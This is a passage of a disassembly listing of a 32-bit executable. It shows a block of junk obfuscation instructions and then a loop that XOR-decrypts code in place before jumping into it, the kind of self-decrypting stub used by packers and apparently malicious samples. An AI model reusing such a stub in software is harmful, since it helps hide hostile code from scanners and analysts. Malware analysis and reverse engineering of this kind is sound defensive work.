		lea	edi, ds:168FBCADh
		and	ecx, edi
		imul	edi, esi, 362FDC4Dh
		shl	ecx, 6Ch
		inc	esi
		shrd	ebp, edi, cl
		sal	ebx, 0F9h
		shrd	eax, ebx, cl
		not	esi
		test	dh, 83h
		movsx	edx, al
		db	2Eh
		lea	edi, cs:0C6FFEC9Dh
		mov	ecx, edi
		test	eax, 0E69F0C3Dh
		inc	ecx
		adc	esi, 63F2CDDh
		and	ecx, 81168FBCh
		dec	al
		shld	edi, esi, 4Dh
		not	esi
		bsr	ebp, edi
		xor	ebx, ecx
		and	ecx, 0F9EE47D4h
		bswap	eax
		repne sbb ah, dl
		imul	ebx, edx
		and	ecx, 0A1B6AF5Ch
		rep adc	esi, ebp
		db	65h
		bsf	ebx, edx
		imul	ecx, eax
		test	eax, 8E6774C5h
		and	ecx, 0E99EB704h
		jmp	short loc_43EBCD
; ---------------------------------------------------------------------------

locret_43EBCC:				; CODE XREF: start+C4j
		retn
; ---------------------------------------------------------------------------


loc_43EBCD:				; CODE XREF: start+9Dj
		mov	edx, offset loc_43E970
		push	edx
		mov	ecx, 0C0h


loc_43EBD8:				; CODE XREF: start+C2j
		xor	dword ptr [edx], 10EB28h
		push	ecx
		xor	ecx, ecx
		mov	ecx, 4


loc_43EBE6:				; CODE XREF: start+BCj
		add	edx, 1
		loop	loc_43EBE6
		pop	ecx
		sub	ecx, 3
		loop	loc_43EBD8
		jmp	short locret_43EBCC
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 800h
TEUm		ends

; Section 4. (virtual address 00020000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00020000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 440000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start